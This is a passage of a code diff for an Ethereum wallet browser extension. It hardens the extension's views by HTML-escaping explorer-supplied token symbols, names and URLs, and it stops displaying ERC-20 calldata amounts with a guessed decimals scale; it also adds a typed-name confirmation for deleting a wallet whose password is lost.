const { decryptWithPassword } = require("../../shared/vault");
const { getSignerForAddress } = require("../../shared/wallet");
const { walletDefect } = require("../../shared/walletDefects");
@@ -43,6 +47,23 @@ function formatTxValue(val) {
return parts[0] + "." + dec;
}
// The amount line for a decoded ERC-20 call. With a known scale it is the
// token quantity; with `decimals` null it is the base-unit integer with the
// unknown scale stated, because formatting it with an assumed scale is what
// showed a 5,000-token transfer as `0.0000`. `raw` is what the status screens
// carry, `display` is what the approval screen shows.
function tokenAmountText(rawAmount, decimals, symbol) {
if (decimals === null) {
const unknown = unknownDecimalsAmount(rawAmount);
return { raw: unknown, display: unknown };
}
const formatted = formatTxValue(formatUnits(rawAmount, decimals));
return {
raw: formatted,
display: formatted + (symbol ? " " + symbol : ""),
};
}
function tokenLabel(address) {
const t = TOKEN_BY_ADDRESS.get(address.toLowerCase());
return t ? t.symbol : null;
@@ -59,7 +80,15 @@ function decodeCalldata(data, toAddress) {
if (parsed) {
const token = TOKEN_BY_ADDRESS.get(toAddress.toLowerCase());
const tokenSymbol = token ? token.symbol : null;
const tokenDecimals = token ? token.decimals : 18;
// null when no source knows this token's scale. It is not
// defaulted to 18: an amount formatted with a guessed scale is
// the wrong number, and for a token with fewer decimals than the
// guess it is the wrong number in the direction that reads as
// zero. See tokenAmountText().
const tokenDecimals = resolveTokenDecimals(toAddress, {
trackedTokens: state.trackedTokens,
wallets: state.wallets,
});
const contractLabel = tokenSymbol
? tokenSymbol + " (" + toAddress + ")"
: toAddress;
@@ -71,12 +100,11 @@ function decodeCalldata(data, toAddress) {
"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
);
const isUnlimited = rawAmount === maxUint;
const amountRaw = isUnlimited
? "Unlimited"
: formatTxValue(formatUnits(rawAmount, tokenDecimals));
const amountStr = isUnlimited
? "Unlimited"
: amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
// An unbounded allowance needs no scale to describe, so it is
// still named rather than refused.
const amount = isUnlimited
? { raw: "Unlimited", display: "Unlimited" }
: tokenAmountText(rawAmount, tokenDecimals, tokenSymbol);
return {
name: "Token Approval",
@@ -97,8 +125,8 @@ function decodeCalldata(data, toAddress) {
},
{
label: "Amount",
value: amountStr,
rawValue: amountRaw,
value: amount.display,
rawValue: amount.raw,
},
],
};
@@ -107,11 +135,11 @@ function decodeCalldata(data, toAddress) {
if (parsed.name === "transfer") {
const to = parsed.args[0];
const rawAmount = parsed.args[1];
const amountRaw = formatTxValue(
formatUnits(rawAmount, tokenDecimals),
const amount = tokenAmountText(
rawAmount,
tokenDecimals,
tokenSymbol,
);
const amountStr =
amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
return {
name: "Token Transfer",
@@ -128,8 +156,8 @@ function decodeCalldata(data, toAddress) {
{ label: "Recipient", value: to, address: to },
{
label: "Amount",
value: amountStr,
rawValue: amountRaw,
value: amount.display,
rawValue: amount.raw,
},
],
};

View File

@@ -10,6 +10,7 @@ const {
showView,
addressTitle,
escapeHtml,
displaySymbol,
renderAddressHtml,
attachCopyHandlers,
goBack,
@@ -57,7 +58,7 @@ function restore() {
function blockieHtml(address) {
const src = makeBlockie(address);
return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
}
function confirmAddressHtml(address, ensName, title) {
@@ -81,7 +82,11 @@ function show(txInfo) {
feeWei = null;
const isErc20 = txInfo.token !== "ETH";
const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
// The raw symbol is the price-table key; the capped one is what the
// screen says. Truncating before the lookup would silently drop the
// price of any token whose symbol is long enough to be capped.
const rawSymbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
const symbol = displaySymbol(rawSymbol);
// Transaction type
if (isErc20) {
@@ -123,7 +128,7 @@ function show(txInfo) {
// Amount (with inline USD)
const ethPrice = getPrice("ETH");
const tokenPrice = getPrice(symbol);
const tokenPrice = getPrice(rawSymbol);
const amountNum = parseFloat(txInfo.amount);
const price = isErc20 ? tokenPrice : ethPrice;
const amountUsd = price ? amountNum * price : null;
@@ -156,7 +161,12 @@ function show(txInfo) {
warningsEl.innerHTML = localWarnings
.map(
(w) =>
`<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${w.message}</div>`,
// Only the three hardcoded strings in
// src/shared/addressWarnings.js reach this today, but
// src/shared/etherscanLabels.js already builds a
// `warning` out of scraped explorer markup, so this is
// one wiring change away from carrying remote text.
`<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${escapeHtml(w.message)}</div>`,
)
.join("");
warningsEl.style.visibility = "visible";
@@ -206,7 +216,7 @@ function show(txInfo) {
// touches already occupies its space, so re-running it never moves anything.
function renderValidation(txInfo) {
const isErc20 = txInfo.token !== "ETH";
const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
const symbol = isErc20 ? displaySymbol(txInfo.tokenSymbol || "?") : "ETH";
const { canSend, codes } = validateTransfer({
isErc20,

View File

@@ -11,6 +11,7 @@ const {
$,
showView,
showFlash,
escapeHtml,
goBack,
renderAddressHtml,
attachCopyHandlers,
@@ -44,8 +45,8 @@ function setFlash(msg) {
// wallet.nextIndex is a high-water mark and is deliberately not rewound; and
// re-importing this wallet's key material is refused as a duplicate by
// findWalletByXpub() for as long as the wallet is here. What remains is to
// delete the whole wallet in Settings — which asks for the password and
// destroys the stored secret — and import again, after which
// delete the whole wallet in Settings — which destroys the stored secret,
// with or without the password — and import again, after which
// scanForAddresses() rediscovers the address only if it has on-chain
// activity. An address that was never used is not found by that scan, and
// the copy must not imply otherwise.
@@ -62,8 +63,7 @@ function recoveryPathText(wallet) {
"importing this " +
secret +
" again is refused while this wallet is still here. The way back is " +
"to delete the whole wallet in Settings, which asks for your " +
"password and destroys the stored " +
"to delete the whole wallet in Settings, which destroys the stored " +
secret +
", and then import that " +
secret +
@@ -92,7 +92,7 @@ function balanceWarningHtml(addr) {
if (!addressHoldsFunds(addr)) return "&nbsp;";
const line = formatAddressTotal(getAddressValue(addr));
const total = line
? `<div class="text-xs text-muted mt-1">${line}</div>`
? `<div class="text-xs text-muted mt-1">${escapeHtml(line)}</div>`
: "";
return (
`<p class="mb-1">This address holds a balance. Removing it does not ` +

View File

@@ -14,8 +14,29 @@ const {
} = require("../../shared/walletDelete");
let deleteWalletIndex = null;
let lostPasswordIndex = null;
let ctx = null;
// The name shown for a wallet, and on the lost-password screen the string
// the user has to type back. One function so the two cannot disagree: a
// confirmation that asks for a name other than the one on screen is
// unusable.
function displayName(walletIdx) {
const wallet = state.wallets[walletIdx];
return (wallet && wallet.name) || "Wallet " + (walletIdx + 1);
}
// What the typed confirmation and the wallet name are compared as. HTML
// collapses runs of whitespace when it renders the name, so a wallet named
// "My Wallet" with two spaces DISPLAYS as "My Wallet": the user cannot
// see the second space and cannot type a string that matches the stored
// name. Comparing collapsed on both sides is what keeps the confirmation
// satisfiable, on the one screen whose whole purpose is unwedging a user
// who is already stuck. Case and surrounding space go the same way.
function confirmKey(name) {
return name.trim().replace(/\s+/g, " ").toLowerCase();
}
// Drop the password from the DOM and the wallet selection from the
// closure. Registered as the view-leave handler as well as run on entry,
// so the typed password does not sit in the hidden view after the user
@@ -27,19 +48,89 @@ function clear() {
$("delete-wallet-flash").style.visibility = "hidden";
}
// The lost-password screen holds no secret — a wallet name is not one —
// but it is wiped on leave for the neighbouring reason: a typed
// confirmation left standing in a hidden view is one click away from
// destroying a wallet the user has since navigated off. The button is
// re-enabled here too, so a screen left mid-delete is usable on re-entry.
function clearLostPassword() {
lostPasswordIndex = null;
$("delete-wallet-lost-name-input").value = "";
$("delete-wallet-lost-flash").textContent = "";
$("delete-wallet-lost-flash").style.visibility = "hidden";
const btn = $("btn-delete-wallet-lost-confirm");
btn.disabled = false;
btn.classList.remove("text-muted");
}
function show(walletIdx) {
clear();
deleteWalletIndex = walletIdx;
const wallet = state.wallets[walletIdx];
$("delete-wallet-name").textContent =
wallet.name || "Wallet " + (walletIdx + 1);
$("delete-wallet-name").textContent = displayName(walletIdx);
showView("delete-wallet-confirm");
}
// The two delete screens are siblings, not parent and child: nothing is
// pushed on the way here, and Back goes to show() rather than goBack().
// Both then have the same Back target — Settings, the screen that pushed
// delete-wallet-confirm — and re-entering through show() hands the confirm
// screen its wallet selection back, which a bare goBack() onto a view
// whose leave hook has already nulled that selection would not.
function showLostPassword() {
const walletIdx = deleteWalletIndex;
if (walletIdx === null) {
goBack();
return;
}
const name = displayName(walletIdx);
clearLostPassword();
$("delete-wallet-lost-name").textContent = name;
$("delete-wallet-lost-name-echo").textContent = name;
// showView() runs the leave hook of delete-wallet-confirm, which nulls
// deleteWalletIndex, so this screen's own selection is recorded after
// it and not before.
showView("delete-wallet-lost-password");
lostPasswordIndex = walletIdx;
}
// Remove the wallet and put the user somewhere sensible. Shared by both
// routes onto this screen, so the selection repair, the site-permission
// cleanup and the accountsChanged broadcast cannot drift apart between
// them.
async function finishDelete(walletIdx) {
const { activeAddressChanged } = removeWalletFromState(state, walletIdx);
deleteWalletIndex = null;
lostPasswordIndex = null;
if (!state.hasWallet) {
clearViewStack();
await saveState();
// Save before broadcasting: the background reads the active
// address back out of storage to build accountsChanged.
if (activeAddressChanged) broadcastActiveChanged();
showView("welcome");
return;
}
await saveState();
if (activeAddressChanged) broadcastActiveChanged();
// Reset stack to [main] so Settings back goes home.
// Use require() lazily to avoid circular dependency
// (settings.js requires deleteWallet.js).
clearViewStack();
state.viewStack.push("main");
ctx.renderWalletList();
const settings = require("./settings");
settings.show();
showFlash("Wallet deleted.");
}
function init(_ctx) {
ctx = _ctx;
onViewLeave("delete-wallet-confirm", clear);
onViewLeave("delete-wallet-lost-password", clearLostPassword);
// No wipe here: goBack() routes through showView(), which runs the
// leave hook.
@@ -47,6 +138,60 @@ function init(_ctx) {
goBack();
});
// The escape hatch, and deliberately not gated on anything a user who
// has lost the password cannot produce. A password in front of
// DISCARDING a secret protects nobody: an attacker at the popup who
// wants the wallet gone can uninstall the extension, so the only
// person such a gate stops is the owner who forgot it — and before
// this route existed that owner could neither delete the wallet nor
// import its recovery phrase again, because AddWallet refuses the xpub
// as a duplicate while the wallet is still stored.
$("btn-delete-wallet-lost-password").addEventListener("click", () => {
showLostPassword();
});
$("btn-delete-wallet-lost-back").addEventListener("click", () => {
const walletIdx = lostPasswordIndex;
if (walletIdx === null) {
goBack();
return;
}
show(walletIdx);
});
$("btn-delete-wallet-lost-confirm").addEventListener("click", async () => {
if (lostPasswordIndex === null) {
$("delete-wallet-lost-flash").textContent =
"No wallet selected for deletion.";
$("delete-wallet-lost-flash").style.visibility = "visible";
return;
}
// Case, surrounding spaces and repeated inner spaces are not part
// of the confirmation; see confirmKey(). This asks whether the
// user knows which wallet they are on; it is not a secret, and
// refusing "wallet 2" for "Wallet 2" would only teach the user to
// distrust the control.
const typed = $("delete-wallet-lost-name-input").value;
const expected = displayName(lostPasswordIndex);
if (confirmKey(typed) !== confirmKey(expected)) {
$("delete-wallet-lost-flash").textContent =
"That is not the name of this wallet. Type " +
expected +
" to confirm.";
$("delete-wallet-lost-flash").style.visibility = "visible";
return;
}
const btn = $("btn-delete-wallet-lost-confirm");
btn.disabled = true;
btn.classList.add("text-muted");
// finishDelete() navigates, and the leave hook re-enables the
// button and wipes the typed name on the way out.
await finishDelete(lostPasswordIndex);
});
$("btn-delete-wallet-confirm").addEventListener("click", async () => {
const pw = $("delete-wallet-password").value;
if (!pw) {
@@ -82,34 +227,7 @@ function init(_ctx) {
return;
}
// Remove the wallet and repair selection, permissions and hasWallet
const { activeAddressChanged } = removeWalletFromState(
state,
walletIdx,
);
deleteWalletIndex = null;
if (!state.hasWallet) {
clearViewStack();
await saveState();
// Save before broadcasting: the background reads the active
// address back out of storage to build accountsChanged.
if (activeAddressChanged) broadcastActiveChanged();
showView("welcome");
} else {
await saveState();
if (activeAddressChanged) broadcastActiveChanged();
// Reset stack to [main] so Settings back goes home.
// Use require() lazily to avoid circular dependency
// (settings.js requires deleteWallet.js).
clearViewStack();
state.viewStack.push("main");
ctx.renderWalletList();
const settings = require("./settings");
settings.show();
showFlash("Wallet deleted.");
}
await finishDelete(walletIdx);
});
}

View File

@@ -1,8 +1,22 @@
// Shared DOM helpers used by all views.
//
// Escaping rule for every view in this directory, since they all build
// markup by concatenation: any VALUE interpolated into an innerHTML string
// goes through escapeHtml(), whatever its provenance looks like today. The
// only interpolations left bare are markup FRAGMENTS this code just built
// (a rendered dot, an icon, a composed row), which escaping would turn into
// visible angle brackets, and locally computed numbers and loop indices.
// The distinction is meant to be greppable: an unescaped `${` next to a
// name that reads like data is a defect.
// escapeHtml lives in src/shared/html.js, where the escape and the
// reasoning behind it are; it is re-exported below so views keep importing
// it from here.
const { escapeHtml } = require("../../shared/html");
const { isDebug } = require("../../shared/log");
const { formatUsd, getPrice } = require("../../shared/prices");
const { state, saveState, currentNetwork } = require("../../shared/state");
const { displaySymbol } = require("../../shared/symbolDisplay");
const { markViewRendered } = require("../viewRouter");
// When views are added, removed, or transitions between them change,
@@ -22,6 +36,7 @@ const VIEWS = [
"add-token",
"settings",
"delete-wallet-confirm",
"delete-wallet-lost-password",
"delete-address-confirm",
"settings-addtoken",
"transaction",
@@ -177,17 +192,26 @@ function showFlash(msg, duration = 2000) {
}, duration);
}
// One row of the balance list: symbol, quantity, fiat value.
//
// `symbol` is the ERC-20's own symbol() as the block explorer reported it,
// so it is attacker-chosen markup until it has been through escapeHtml, and
// attacker-chosen length until it has been through displaySymbol. This is
// the row that issue #307 was reported against: every screen that lists a
// holding renders through here.
function balanceLine(symbol, amount, price, tokenId) {
const qty = amount.toFixed(4);
const usd = price ? formatUsd(amount * price) || "&nbsp;" : "&nbsp;";
const tokenAttr = tokenId ? ` data-token="${tokenId}"` : "";
// tokenId is a contract address out of the same explorer JSON, and it
// lands inside a quoted attribute.
const tokenAttr = tokenId ? ` data-token="${escapeHtml(tokenId)}"` : "";
const clickClass = tokenId
? " cursor-pointer hover:bg-hover balance-row"
: "";
return (
`<div class="flex text-xs${clickClass}"${tokenAttr}>` +
`<span class="flex justify-between" style="width:42ch;max-width:100%">` +
`<span>${symbol}</span>` +
`<span>${escapeHtml(displaySymbol(symbol))}</span>` +
`<span>${qty}</span>` +
`</span>` +
`<span class="text-right text-muted flex-1">${usd}</span>` +
@@ -289,12 +313,6 @@ function addressDotHtml(address) {
return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`;
}
function escapeHtml(s) {
const div = document.createElement("div");
div.textContent = s;
return div.innerHTML;
}
// Look up an address across all wallets and return its title
// (e.g. "Address 1.2") or null if it's not one of ours.
function addressTitle(address, wallets) {
@@ -382,13 +400,26 @@ const EXT_ICON =
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
`</svg></span>`;
function etherscanAddressUrl(address) {
return `${currentNetwork().explorerUrl}/address/${address}`;
// Block-explorer URLs. The origin is a per-network constant from
// src/shared/networks.js; only the path segment is data, and it comes out
// of explorer JSON (a transaction's from/to, a token's address_hash), which
// nothing upstream validates as hex. percent-encoding it keeps a segment
// that contains a slash, a query or a fragment from re-pointing the link
// somewhere else in the explorer.
function explorerUrl(kind, value) {
return `${currentNetwork().explorerUrl}/${kind}/${encodeURIComponent(value)}`;
}
function etherscanAddressUrl(address) {
return explorerUrl("address", address);
}
// The URL still has to be escaped on the way into href="...": encoding
// governs what the URL means, escaping governs whether it stays inside the
// attribute.
function etherscanLinkHtml(url) {
return (
`<a href="${url}" target="_blank" rel="noopener" ` +
`<a href="${escapeHtml(url)}" target="_blank" rel="noopener" ` +
`class="inline-flex items-center">${EXT_ICON}</a>`
);
}
@@ -492,6 +523,7 @@ module.exports = {
addressColor,
addressDotHtml,
escapeHtml,
displaySymbol,
addressTitle,
formatAddressHtml,
renderAddressHtml,
@@ -499,6 +531,7 @@ module.exports = {
attachCopyHandlers,
etherscanAddressUrl,
etherscanLinkHtml,
explorerUrl,
EXT_ICON,
truncateMiddle,
isoDate,

View File

@@ -8,6 +8,7 @@ const {
addressDotHtml,
addressTitle,
escapeHtml,
displaySymbol,
truncateMiddle,
renderAddressHtml,
attachCopyHandlers,
@@ -109,10 +110,13 @@ function renderHomeTxList(ctx) {
: tx.direction === "sent" || tx.direction === "contract"
? tx.to
: tx.from;
const dirLabel = tx.directionLabel;
// directionLabel is the explorer's own method name for a contract
// call, title-cased — attacker-chosen for an attacker's contract.
const dirLabel = escapeHtml(tx.directionLabel);
const sym = displaySymbol(tx.symbol);
const amountStr = tx.value
? escapeHtml(tx.value + " " + tx.symbol)
: escapeHtml(tx.symbol);
? escapeHtml(tx.value + " " + sym)
: escapeHtml(sym);
const title = addressTitle(counterparty, state.wallets);
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
const displayAddr = title || truncateMiddle(counterparty, maxAddr);
@@ -226,7 +230,7 @@ function walletListHtml() {
const defect = walletDefect(wallet);
html += `<div>`;
html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${wallet.name}</span>`;
html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${escapeHtml(wallet.name)}</span>`;
// No "+" on a defective wallet: deriving another address from that
// xpub would only add one more address the key does not produce
// under the standard path.
@@ -250,10 +254,13 @@ function walletListHtml() {
const titleBold = isActive ? "font-bold" : "";
html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
if (addr.ensName) {
html += `<div class="text-xs font-bold flex items-center">${dot}${addr.ensName}</div>`;
// An ENS reverse record is whatever the name owner set it
// to; renderAddressHtml() escapes its own copy of this and
// this list was the one that did not.
html += `<div class="text-xs font-bold flex items-center">${dot}${escapeHtml(addr.ensName)}</div>`;
}
html += `<div class="flex text-xs items-center justify-between">`;
html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${addr.address}</span>`;
html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${escapeHtml(addr.address)}</span>`;
html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`;
html += `</div>`;
const addrTotal = formatAddressTotal(getAddressValue(addr));

View File

@@ -5,6 +5,7 @@ const {
flashCopyFeedback,
formatAddressHtml,
addressTitle,
displaySymbol,
attachCopyHandlers,
goBack,
} = require("./helpers");
@@ -44,7 +45,7 @@ function show() {
}
warningEl.textContent =
"This is an ERC-20 token. Only send " +
symbol +
displaySymbol(symbol) +
" on " +
currentNetwork().name +
" to this address. Sending tokens on other networks will result in permanent loss.";

View File

@@ -4,6 +4,7 @@ const {
$,
showFlash,
addressTitle,
displaySymbol,
renderAddressHtml,
attachCopyHandlers,
goBack,
@@ -131,7 +132,7 @@ function renderSendTokenSelect(addr) {
if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue;
const opt = document.createElement("option");
opt.value = t.address;
opt.textContent = t.symbol;
opt.textContent = displaySymbol(t.symbol);
sel.appendChild(opt);
}
}

View File

@@ -4,6 +4,7 @@ const {
updateDebugBanner,
showFlash,
escapeHtml,
displaySymbol,
flashCopyFeedback,
goBack,
pushCurrentView,
@@ -43,8 +44,11 @@ function renderSiteList(containerId, siteMap, stateKey) {
let html = "";
hostnames.forEach((hostname) => {
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
html += `<span>${hostname}</span>`;
html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${stateKey}" data-hostname="${hostname}">[x]</button>`;
// A hostname the URL parser produced cannot carry a delimiter, so
// this is escaped for the rule rather than for a known hole — the
// rule being that nothing reaches innerHTML unescaped.
html += `<span>${escapeHtml(hostname)}</span>`;
html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${escapeHtml(stateKey)}" data-hostname="${escapeHtml(hostname)}">[x]</button>`;
html += `</div>`;
});
container.innerHTML = html;
@@ -73,9 +77,10 @@ function renderTrackedTokens() {
}
let html = "";
state.trackedTokens.forEach((token, idx) => {
const sym = escapeHtml(displaySymbol(token.symbol));
const label = token.name
? escapeHtml(token.name) + " (" + escapeHtml(token.symbol) + ")"
: escapeHtml(token.symbol);
? escapeHtml(token.name) + " (" + sym + ")"
: sym;
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
html += `<span>${label}</span>`;
html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;

View File

@@ -1,4 +1,4 @@
const { $, showView, showFlash, goBack } = require("./helpers");
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
const { getTopTokens } = require("../../shared/tokenList");
const { state, saveState } = require("../../shared/state");
const { lookupTokenInfo } = require("../../shared/balances");
@@ -26,11 +26,11 @@ function renderTop10() {
: "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs";
return (
`<button class="settings-addtoken-quick ${cls}"` +
` data-address="${t.address}"` +
` data-symbol="${t.symbol}"` +
` data-decimals="${t.decimals}"` +
` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
`${tracked ? " disabled" : ""}>${t.symbol}</button>`
` data-address="${escapeHtml(t.address)}"` +
` data-symbol="${escapeHtml(t.symbol)}"` +
` data-decimals="${escapeHtml(t.decimals)}"` +
` data-name="${escapeHtml(t.name || "")}"` +
`${tracked ? " disabled" : ""}>${escapeHtml(t.symbol)}</button>`
);
})
.join("");
@@ -62,11 +62,11 @@ function renderDropdown() {
const tracked = isTracked(t.address);
const label = tokenLabel(t) + (tracked ? " (tracked)" : "");
html +=
`<option value="${t.address}"` +
` data-symbol="${t.symbol}"` +
` data-decimals="${t.decimals}"` +
` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
`${tracked ? " disabled" : ""}>${label}</option>`;
`<option value="${escapeHtml(t.address)}"` +
` data-symbol="${escapeHtml(t.symbol)}"` +
` data-decimals="${escapeHtml(t.decimals)}"` +
` data-name="${escapeHtml(t.name || "")}"` +
`${tracked ? " disabled" : ""}>${escapeHtml(label)}</option>`;
}
sel.innerHTML = html;
}

View File

@@ -15,9 +15,11 @@ const {
attachCopyHandlers,
copyableHtml,
etherscanLinkHtml,
explorerUrl,
displaySymbol,
goBack,
} = require("./helpers");
const { state, currentNetwork } = require("../../shared/state");
const { state } = require("../../shared/state");
const { formatEther, formatUnits } = require("ethers");
const makeBlockie = require("ethereum-blockies-base64");
const { log, debugFetch } = require("../../shared/log");
@@ -44,7 +46,7 @@ function getTransactionType(tx) {
function blockieHtml(address) {
const src = makeBlockie(address);
return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
}
function txAddressHtml(address, ensName, title) {
@@ -56,7 +58,7 @@ function txAddressHtml(address, ensName, title) {
}
function txHashHtml(hash) {
const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
const link = explorerUrl("tx", hash);
const extLink = etherscanLinkHtml(link);
return copyableHtml(hash, "break-all") + extLink;
}
@@ -101,9 +103,10 @@ function render() {
$("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle);
// Exact amount (full precision, copyable)
const detailSym = displaySymbol(tx.symbol);
const exactStr = tx.exactValue
? tx.exactValue + " " + tx.symbol
: tx.directionLabel + " " + tx.symbol;
? tx.exactValue + " " + detailSym
: tx.directionLabel + " " + detailSym;
$("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold");
// Native quantity (raw integer, copyable)
@@ -133,7 +136,7 @@ function render() {
if (tokenContractSection && tokenContractEl) {
if (tx.contractAddress) {
const dot = addressDotHtml(tx.contractAddress);
const link = `${currentNetwork().explorerUrl}/token/${tx.contractAddress}`;
const link = explorerUrl("token", tx.contractAddress);
tokenContractEl.innerHTML =
`<div class="flex items-center">${dot}` +
copyableHtml(tx.contractAddress, "break-all") +
@@ -185,7 +188,7 @@ function showDetailField(sectionId, contentId, value) {
function populateOnChainDetails(txData) {
// Block number
if (txData.block_number != null) {
const blockLink = `${currentNetwork().explorerUrl}/block/${txData.block_number}`;
const blockLink = explorerUrl("block", String(txData.block_number));
const blockSection = $("tx-detail-block-section");
const blockEl = $("tx-detail-block");
if (blockSection && blockEl) {
@@ -309,7 +312,7 @@ async function loadFullTxDetails(txHash, toAddress) {
// Token entry: show symbol on its own line, then address via shared renderer
const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1];
if (tokenSymbol) {
detailsHtml += `<div class="font-bold">${escapeHtml(tokenSymbol)}</div>`;
detailsHtml += `<div class="font-bold">${escapeHtml(displaySymbol(tokenSymbol))}</div>`;
}
detailsHtml += renderAddressHtml(d.address);
} else if (d.address) {

View File

@@ -9,10 +9,12 @@ const {
attachCopyHandlers,
copyableHtml,
etherscanLinkHtml,
explorerUrl,
displaySymbol,
clearViewStack,
} = require("./helpers");
const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
const { state, currentNetwork } = require("../../shared/state");
const { state } = require("../../shared/state");
const { getProvider } = require("../../shared/balances");
const { log } = require("../../shared/log");
@@ -62,13 +64,13 @@ function toAddressHtml(address) {
}
function txHashHtml(hash) {
const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
const link = explorerUrl("tx", hash);
return copyableHtml(hash, "break-all") + etherscanLinkHtml(link);
}
function blockNumberHtml(blockNumber) {
const num = String(blockNumber);
const link = `${currentNetwork().explorerUrl}/block/${num}`;
const link = explorerUrl("block", num);
return copyableHtml(num) + etherscanLinkHtml(link);
}
@@ -80,7 +82,10 @@ function startWait(txInfo, txHash, broadcastTime, pollNow) {
endWait();
const id = waitId;
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
const symbol =
txInfo.token === "ETH"
? "ETH"
: displaySymbol(txInfo.tokenSymbol || "?");
$("wait-tx-summary").textContent = txInfo.amount + " " + symbol;
$("wait-tx-to").innerHTML = toAddressHtml(txInfo.to);
$("wait-tx-hash").innerHTML = txHashHtml(txHash);
@@ -211,7 +216,10 @@ function restoreWait() {
function showSuccess(txInfo, txHash, blockNumber) {
endWait();
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
const symbol =
txInfo.token === "ETH"
? "ETH"
: displaySymbol(txInfo.tokenSymbol || "?");
state.viewData = {
amount: txInfo.amount,
symbol: symbol,
@@ -299,7 +307,10 @@ function renderSuccess() {
function showError(txInfo, txHash, message) {
endWait();
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
const symbol =
txInfo.token === "ETH"
? "ETH"
: displaySymbol(txInfo.tokenSymbol || "?");
state.viewData = {
amount: txInfo.amount,
symbol: symbol,

View File

@@ -0,0 +1,103 @@
// The scale an ERC-20 amount in a dApp's calldata is displayed with, and what
// to display when there is no such scale.
//
// The approval screen decodes `transfer` and `approve` calldata into a
// quantity the user confirms against. That quantity is a base-unit integer,
// and turning it into a number a person can read needs the token's decimals.
// Assuming a scale is how a drain gets confirmed: a `transfer` of 5000000000
// units of a 6-decimal token is 5,000 tokens, but formatted with the ERC-20
// default of 18 it reads `0.0000`, and a user who reads zero signs.
//
// So a scale is either found or the amount is not formatted. Decimals are
// looked for in the bundled token list, then in the tokens the user tracks,
// then in what the block explorer reported for the contract; where none of
// them answers, unknownDecimalsAmount() renders the base-unit integer with the
// unknown scale stated, and no formatUnits() call is reached at all.
//
// This is the display counterpart to transferAmount.js, which takes the same
// stance on the wallet's own send path: an amount whose scale is unknown or
// disputed is refused rather than guessed at.
// Solidity's decimals() is a uint8, and every source here is ultimately
// reporting that call's result.
const { MAX_DECIMALS } = require("./transferAmount");
const { TOKEN_BY_ADDRESS } = require("./tokenList");
// A decimals value as a number, or null if it is not one. The bundled list
// stores numbers, the explorer's copy arrives as a string, and a token the
// user added by hand can carry whatever lookupTokenInfo() got back, so the
// accepted types are enumerated rather than coerced: Number([]) is 0 and
// Number(true) is 1, so a coercing check would read an empty array as a scale
// of zero and format the amount as whole tokens.
function toDecimals(value) {
let n;
if (typeof value === "number") {
n = value;
} else if (typeof value === "bigint") {
if (value < 0n || value > BigInt(MAX_DECIMALS)) return null;
n = Number(value);
} else if (typeof value === "string") {
if (!/^[0-9]+$/.test(value)) return null;
n = Number(value);
} else {
return null;
}
if (!Number.isInteger(n) || n < 0 || n > MAX_DECIMALS) return null;
return n;
}
// Every decimals the explorer reported for this contract, across all the
// addresses whose balances have been fetched. They describe one contract, so
// they should agree; a set that does not agree is a scale in dispute, and this
// screen has no way to tell which member is the true one.
function explorerDecimals(lower, wallets) {
let found = null;
for (const wallet of wallets || []) {
for (const addr of wallet.addresses || []) {
for (const tb of addr.tokenBalances || []) {
if ((tb.address || "").toLowerCase() !== lower) continue;
const d = toDecimals(tb.decimals);
if (d === null) continue;
if (found !== null && found !== d) return null;
found = d;
}
}
}
return found;
}
// The decimals to render a token amount with, or null when nothing knows.
// `sources` is { trackedTokens, wallets }, both shaped as they are on `state`.
function resolveTokenDecimals(tokenAddress, sources) {
const lower = (tokenAddress || "").toLowerCase();
if (!lower) return null;
const bundled = TOKEN_BY_ADDRESS.get(lower);
if (bundled) {
const d = toDecimals(bundled.decimals);
if (d !== null) return d;
}
const tracked = ((sources && sources.trackedTokens) || []).find(
(t) => (t.address || "").toLowerCase() === lower,
);
if (tracked) {
const d = toDecimals(tracked.decimals);
if (d !== null) return d;
}
